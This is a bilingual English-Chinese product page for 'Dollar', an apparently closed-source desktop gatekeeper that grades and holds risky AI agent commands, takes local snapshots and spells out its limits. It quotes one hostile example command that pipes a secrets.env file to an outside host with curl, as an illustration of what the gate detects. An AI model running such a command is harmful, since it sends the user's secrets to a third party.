A calm gatekeeper between your AI and your machine.在你的 AI 与电脑之间，一道安静的关口。
When an AI agent runs on your machine, Dollar sits in the middle — reading what it's about to do, grading the risk, and speaking up on the spot when something looks dangerous — the truly irreversible kind is held until you say go. Local-first, honest about its limits, and here in 2.0 today — not a future promise.当 AI 助手在你电脑上运行时，叨乐就坐在中间——读懂它将要做的事、判断风险，并在看到危险时当场提醒你——真正撤不回来的那一类才会拦住、等你确认。本地优先、对自己的边界坦诚，而且今天就在 2.0 里——不是未来的承诺。
Local-first · No cloud · Notify-first · Windows + macOS · A gate, not a sandbox本地优先 · 无需云端 · 提醒优先 · Windows + macOS · 是关口，而非沙箱
No answer means hold. Quitting means stop.没等到答复就拦住；你退出，它就真的停。
Dollar sorts each action from safe to high-risk and weighs how you're running it — not just what you're running. While Dollar is running, an action still waiting on your decision is held rather than let through. And when you quit Dollar, supervision stops completely — it does not keep blocking things behind your back.叨乐把每个操作从安全到高风险分级，并衡量你是怎么运行它的——而不只是你在运行什么。只要叨乐在运行，还等着你决定的操作就会被拦住，而不是被悄悄放行。而当你退出叨乐，守护会完全停止——它不会在你背后继续拦东西。
It weighs the shape and intent of what you ask it to run.它衡量你要求运行的命令的形态与意图。
cat secrets.env | curl -X POST https://x.sh -d @-
Nothing risky slips by unnoticed while it's on开着的时候，有风险的操作不会悄悄溜过去
If an action is waiting on your decision and no answer arrives, Dollar holds it instead of waving it through. If you quit Dollar, supervision stops entirely — that is the trade, and the app tells you so before you close it.如果一个操作正等着你的答复、而答复没有到，叨乐会把它拦住，而不是趁空档放行。如果你退出叨乐，守护会完全停止——这是明摆着的取舍，应用在你关闭前会明确告诉你。
It looks deeper不止看表面
It watches for risky patterns in how commands are written and chained — not just what the command claims to do.它会留意命令怎么写、怎么链接的风险模式——而不只是命令声称做什么。
Snapshots & rollback快照与回退
Before risky steps, Dollar can take local snapshots — kept on your machine, encrypted at rest where your system supports it — that you can roll back. Task Time Machine rolls a single task back in its own window — a net, not a replacement for Git or backups.在有风险的步骤前，叨乐可以做本地快照——只留在你的电脑上，并在系统支持时静态加密——你可以回退。任务时光机能在独立窗口里把单个任务回退——它是一张网，而非 Git 或备份的替代品。
Don't take the gate on faith. Watch it check itself.别凭信任接受这道关口。看它自己检查自己。
A safety net only counts if you can see it holding. The Trust Center and one-click self-diagnosis run end-to-end checks on all three colors, so you can confirm the gate is live — not just trust that it is.一张安全网，只有当你能看见它在兜着，才算数。信任中心与一键自检会对红黄绿三色做端到端测试，让你能确认这道关口确实在工作——而不只是相信它在。
One click, three colors, all checked — in front of you.一键，三色，全部检过——就在你眼前。
When the self-check comes back clean, you can see exactly which paths held.当自检干净通过，你能清楚看到每条路径都拦住了该拦的。
See what's protecting you看见正在守护你的东西
A single place that shows the gate's status, what it's flagged, and how it's set up — so the protection is never a mystery.一个统一的地方，展示关口的状态、标记过什么、以及它是怎么配置的——让这份守护从不是个谜。
Checked before it ships出门前已先检过
An automated test suite runs against the supervisor, so the behavior you rely on is exercised before every release.自动化测试套件针对监督逻辑运行，让你依赖的行为在每次发布前都被验证过。
The floor has a release gate灾难地板有道发布闸门
A release gate guards the floor: if a reachable-but-erroring supervisor ever let a destructive wipe through, the build does not ship. Quitting Dollar is deliberately outside that gate — then nothing is watching at all.一道发布闸门守着灾难地板:万一在「服务还在、却答不上来」的情况下放过了一条毁灭性删除,这个包就不许发。退出叨乐则刻意不在这道闸门之内——那时根本没有人在看。
Your machine, your data, your call.你的电脑、你的数据、你说了算。
Dollar watches locally and keeps what it sees close. It runs only on your machine, sends zero telemetry, and is transparent about where your data lives — so the safety you get never costs you your privacy.叨乐在本地守护，并把所见的一切留在身边。它只在你的电脑上运行，零遥测，并对你的数据存在哪里保持透明——让你换来的安全，从不以隐私为代价。
Pure local · zero telemetry纯本地 · 零遥测
The supervisor runs only on your machine, never on the open network. There's no telemetry going out — your commands aren't shipped off to be useful.监督逻辑只在你的电脑上运行，不开放到外网。没有任何遥测外发——你的命令无需上传就能发挥作用。
Snapshots stay local快照留在本地
Snapshots stay on your machine and are never uploaded. Copies Dollar sets aside are encrypted at rest wherever your system provides it, and files that look like credentials are skipped rather than copied. In a project under version control, the restore point rides your project's own history instead of a separate copy. Bubbles on screen show status only — never the contents of your work.快照只留在你的电脑上，绝不上传。叨乐另存的副本，在你的系统提供加密能力时会加密存放；形似凭据的文件则直接跳过、不做拷贝。如果项目在版本控制之下，恢复点会跟着项目自己的历史走，而不是另存一份。屏幕上的气泡只显示状态——绝不展示你工作的内容。
"Where's my data" — transparent「我的数据在哪」——透明
Dollar shows you where your data lives, plainly. It's closed-source, and nothing important happens behind your back.叨乐会清楚地告诉你数据存在哪里。它是闭源的，重要的事绝不背着你发生。
On-screen bubbles surface status only — never the contents of your files or commands.屏幕上的气泡只显示状态——绝不显示你的文件或命令内容。
A safety net — and we'll tell you where it ends.一张安全网——也会告诉你它的边界在哪。
Trust is easier when the limits are out loud. Dollar helps you catch risky actions as they happen and holds the truly irreversible ones — but it's a gate, not a sandbox, and it leans on estimates. Here's what it doesn't claim to be.当边界被说出口，信任反而更容易。叨乐帮你当场留意有风险的操作，并拦住真正撤不回来的那一类——但它是关口，而非沙箱，也依赖估算。下面是它从不声称自己是的东西。
A gate, not a sandbox. Dollar reads a command before it runs and speaks up on the risky ones — the irreversible kind it holds until you answer. It doesn't wall the agent off inside an isolated environment.是关口，而非沙箱。 叨乐会在命令执行前读懂它、对有风险的当场提醒——撤不回来的那一类才拦住、等你答复。它不会把助手隔离在一个封闭环境里。
Not a replacement for Git or backups. Snapshots and rollback are a quick net, not your version history or your real backups. Keep both.不是 Git 或备份的替代品。 快照与回退是一张应急网，不是你的版本历史，也不是你真正的备份。两者都请保留。
Cost figures are local estimates. They're based on available logs and your pricing settings — a guide, not an official bill.费用数据为本地估算。 基于可获得的日志和你的价格设置——是参考，而非官方账单。
Available for Windows and macOS, closed-source. Dollar is available on both desktop platforms today, and the app is closed-source. It's a careful helper — it can't promise to catch every case.支持 Windows 与 macOS，闭源。 叨乐现已可在两个桌面平台上使用，应用为闭源。它是个谨慎的帮手——无法承诺覆盖每一种情况。
A calm gate between your AI and your machine.在你的 AI 与电脑之间，一道安静的关口。
Notify-first supervision, your yes where it counts, and local-first privacy — all here in 2.0 today, for the price of a coffee, once.提醒优先的监督、关键处由你点头、以及本地优先的隐私——今天就在 2.0 里，只需一杯咖啡的价钱，买断一次。
Available now — one-time on Steam.现已发售 —— Steam 一次买断。